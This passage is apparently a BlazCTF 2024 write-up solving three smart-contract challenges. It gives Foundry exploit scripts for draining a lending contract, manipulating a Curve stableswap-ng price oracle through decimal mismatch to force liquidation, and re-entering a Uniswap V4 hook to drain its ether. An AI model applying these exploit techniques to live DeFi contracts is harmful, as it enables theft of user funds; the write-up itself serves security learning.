require(healthFactor >= PRECISION, "Withdrawal would result in undercollateralization");
account.deposited[_assetId] -= _amount;
asset.totalDeposited -= _amount;
require(asset.token.transfer(msg.sender, _amount), "Transfer failed");
emit Withdraw(msg.sender, _assetId, _amount);
}
Solution — 1
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Script, console} from "forge-std/Script.sol";
import {TonyLend, ICurve} from "../src/TonyLend.sol";
import {Challenge} from "../src/Challenge.sol";
contract exp is Script {
Challenge public challenge = Challenge(0x72998f0cffFe9Bf0fC7465188aCF3c5a8C77B616);
address player = 0x6Fd418eD0a94f11d8678c7Ff72E92947A5a7fEf8;
TonyLend public tonyLend;
ICurve public curvePool;
ERC20 public usde;
ERC20 public usdc;
function setUp() public {
tonyLend = challenge.tonyLend();
usde = challenge.usde();
usdc = challenge.usdc();
curvePool = challenge.curvePool();
}
function run() public {
vm.startBroadcast();
// 1. Claim some usdc and usde token
challenge.claimDust();
usdc.approve(address(tonyLend), type(uint256).max);
usde.approve(address(tonyLend), type(uint256).max);
// 2. Deposit token to the tonyLend
tonyLend.deposit(0, usde.balanceOf(player));
tonyLend.deposit(1, usdc.balanceOf(player));
// 3. Borrow some usde
tonyLend.borrow(0, 20000e18);
// 4. Withdraw usde collateral
tonyLend.withdraw(0, 10000e18);
usde.transfer(address(0xc0ffee), 21926e18);
require(challenge.isSolved(), "Challenge not solved");
vm.stopBroadcast();
}
}
StableSwap-NG Oracles Vulnerability
A specific AMM implementation of stableswap-ng has a bug that can cause the price oracle to change sharply if the tokens within the AMM do not all have the same token decimal precision of 18 or if the tokens use external rates.
For example, the USDe <> USDC pool deployed by the Challenge
contract has this issue, as USDe has a precision of 18 and USDC of 6.
The function did not take token precisions into account when updating the oracle in the remove_liquidity_imbalance
function.
In the original code, the upkeep_oracles
function did not consider token precision when handling balance updates, leading to miscalculated values:
// ### ----- old code (bugged) ----- ###
self.upkeep_oracles(new_balances, amp, D1)
The issue was addressed by incorporating the _xp_mem
function, which scales token balanced to a standard precision of 18 decimals using predefined _rates
[1e18, 1e30].
// ### ----- new code (bug fixed) ----- ###
self.upkeep_oracles(self._xp_mem(rates, new_balances), amp, D1)
The _xp_mem
function adjusted new_balances
by normalizing them to a common precision before passing them to the oracle:
@pure
@internal
def _xp_mem(
_rates: DynArray[uint256, MAX_COINS],
_balances: DynArray[uint256, MAX_COINS]
) -> DynArray[uint256, MAX_COINS]:
result: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS])
for i in range(N_COINS_128, bound=MAX_COINS_128):
result.append(unsafe_div(_rates[i] * _balances[i], PRECISION))
return result
Without this fix, the spot_price
would be larger than expected, causing the last_prices_packed
variable to also inflate.
@internal
def upkeep_oracles(xp: DynArray[uint256, MAX_COINS], amp: uint256, D: uint256):
"""
@notice Upkeeps price and D oracles.
"""
ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time)
last_prices_packed_current: DynArray[uint256, MAX_COINS] = self.last_prices_packed
last_prices_packed_new: DynArray[uint256, MAX_COINS] = last_prices_packed_current
# spot_price will be larger than expected
spot_price: DynArray[uint256, MAX_COINS] = self._get_p(xp, amp, D)
# -------------------------- Upkeep price oracle -------------------------
for i in range(MAX_COINS):
if i == N_COINS - 1:
break
if spot_price[i] != 0:
# Update packed prices -----------------
last_prices_packed_new[i] = self.pack_2(
min(spot_price[i], 2 * 10**18), # <----- Cap spot value by 2.
self._calc_moving_average(
last_prices_packed_current[i],
self.ma_exp_time,
ma_last_time_unpacked[0], # index 0 is ma_last_time for prices
)
)
self.last_prices_packed = last_prices_packed_new
...
# Housekeeping: Update ma_last_time for p and D oracles ------------------
for i in range(2):
if ma_last_time_unpacked[i] < block.timestamp:
ma_last_time_unpacked[i] = block.timestamp
self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1])
Exploit
The challenge contract deposited 10,000 USDe and 10,000 USDC, then borrowed 18,500 USDC.
// deposit
tonyLend.deposit(0, 1e4 ether);
tonyLend.deposit(1, 1e4 * 1e6);
// borrow usdc
tonyLend.borrow(1, 1.85e4 * 1e6);
The initial healthFactor
was 1.081, indicating a collateralized position.
The price_oracle
returned an exponential moving-average price oracle of an asset within the AMM with regard to the coin at index 0. In this challenge, it provided the price of USDC relative to USDe.
By using the remove_liquidity_imbalance
function to manipulate the oracle price, we could lower the health factor of the position. This resulted in the position becoming undercollateralized, allowing for liquidation.
Solution — 2
function run() public {
vm.startBroadcast();
// 1. Claim some usdc and usde token
challenge.claimDust();
usde.approve(address(curvePool), type(uint256).max);
usdc.approve(address(curvePool), type(uint256).max);
// 2. Add liquidity to the pool
uint256[] memory amounts = new uint256[](2);
amounts[0] = 1e18 * 1;
amounts[1] = 1e6 * 1;
curvePool.add_liquidity(amounts, 0);
// 3. Remove liquidity imbalance
amounts[0] = 1e18 * 1 / 2;
amounts[1] = 1e6 * 1 / 2;
curvePool.remove_liquidity_imbalance(amounts, type(uint256).max);
vm.warp(block.timestamp + 6 minutes);
usdc.approve(address(tonyLend), type(uint256).max);
// 4. Liquidate challenge's position
tonyLend.liquidate(address(challenge), 1, 100e18, 0);
// 5. Deposit USDC and borrow some USDe
tonyLend.deposit(1, usdc.balanceOf(address(player)));
tonyLend.borrow(0, 1927e18);
usde.transfer(address(0xc0ffee), 21926e18);
require(challenge.isSolved(), "Challenge not solved");
vm.stopBroadcast();
}
Tutori4l
In this challenge, both the player
and Challenge
contracts were initialized with 1 ether, and our objective was to get more than 1.9 ether.
The challenge deployed a PoolManager
and a Challenge
instance, with the PoolManager
being a part of the Uniswap V4 that managed pool states, swapped tokens and provided liquidity. In Uniswap V4, the PoolManager
centralized all pool states, rather than storing them in individual pool contracts.
In the challenge contract, HookMinter
was used to find a specific address, with flags corresponding to bits in the hook contract’s address. These bits indicated whether certain hooks functions were active.
A PoolKey
was created with five variables: currency0
, currency1
, fee
, tickSpacing
, and hook
. This was a unique identifier for a pool in Uniswap V4.
Next, the challenge contract initialized the hook::lucky_pool
and the pool. The PoolManager::initialize
function sets the starting price to 79228162514264337593543950336
, implying the pool was an ETH:ERC-20 pool with a 1:1 ratio. (For more details about this configuration, please read Q-notation documentation)
At this point, the challenge setup completed.
The Vulnerability
In the Challenge::arbitrary
function, there was an ether transfer operation, but we couldn’t directly pass an address a
and data
bytes to withdraw all ether from the Challenge contract. However, we could craft calldata that invoked the Hook::set_reward
function, transferring 1 ether to the Hook contract.
In the Hook
contract, which implemented both beforeSwap
and afterSwap
hook functions.
There was a modifier for reentrancy lock, in_swap
, in Hook
contract. However, when the Hook::beforeSwap
function was entered and Hook::first_reward
was triggered, the ether transfer might call the fallback function in the helper contract. Since Hook::unlock
was still true
, an attacker could re-enter Hook::first_reward
recursively by crafting a forged IPoolManager.SwapParams
and hookData
, eventually draining all ether from the hook.
To summarize, the challenge could be solved by following these steps:
- Craft calldata to call the
Challenge::arbitrary
function, triggeringHook::set_reward
and transferring 1 ether to the Hook contract. - Initiate a swap through the pool, triggering
Hook::first_reward
via theHook::beforeSwap
callback. - The ether transfer in
Hook::first_reward
triggers the fallback or receive function in the malicious contract. - In the fallback / receive function of the malicious contract, re-enter
Hook::first_reward
with a forged swap parameter, bypassing validation. Repeat this step until the Hook contract is drained.
Solution
1. Call Hook::set_reward
via Challenge::arbitrary
:
bytes memory data = abi.encodeWithSignature("set_reward()");
Challenge(payable(challenge)).arbitrary(hook, data);
2. Create a helper contract implementing IUnlockCallback
and prepare parameters for the swap:
// Ensure the swap triggers `first_reward` in `Hook::beforeSwap`
IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: 1 ether,
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
// Uniswap v4 swap settings
PoolSwapTest.TestSettings memory setting = PoolSwapTest.TestSettings({
takeClaims: false,
settleUsingBurn: false
});
bytes memory hookData = abi.encode(address(this));
// Interact with the PoolManager to start the swap
IPoolManager(poolManager).unlock(
abi.encode(PoolSwapTest.CallbackData(msg.sender, setting, key, params, hookData))
);
The PoolManager would call unlockCallback
, where we initiated a swap through the PoolManager::swap
function. You can reference the Uniswap v4 swap router implementation for this step.
function unlockCallback(bytes calldata data) external returns (bytes memory) {
IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: -2 ether,
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
bytes memory hookData = abi.encode(address(this));
IPoolManager(poolManager).swap(key, params, hookData);
return data;
}
3. Invoke Hook::first_reward
in Hook::beforeSwap
. Pass the attack contract address as hookData
, so the following line will execute:
uint256 reward = max_reward < address(this).balance ? max_reward : address(this).balance;
(success,) = recipient.call{value: reward}("");
4. Re-enter Hook::first_reward
in the fallback function:
In the helper contract, transfer all tokens to the player
first, then re-enter Hook::first_reward
with forged parameters:
IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: -1001 ether,
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
bytes memory data = abi.encode(address(this));
Hook(hook).first_reward(params, data);
If tokens are not transferred first, the ether will be sent to an uncontrollable address:
if (recipient.balance > 0) {
address origin = address(uint160(tx.origin) / 11);
(success,) = origin.call{value: address(this).balance}("");
}
After completing these steps, we could drain all ether from the Hook contract, reaching a total of 2 ether.
As we reflect on our journey through the BlazCTF 2024, we want to thank Fuzzland for organizing such incredible event. This competition not only tested our skills but also deepened our understanding of the critical vulnerabilities in the Web3 landscape. As we move forward, we remain committed to enhancing our expertise and contributing to a vibrant community focused on security and innovation. Together, we can pave the way for a safer and more resilient Web3 ecosystem. Until next time!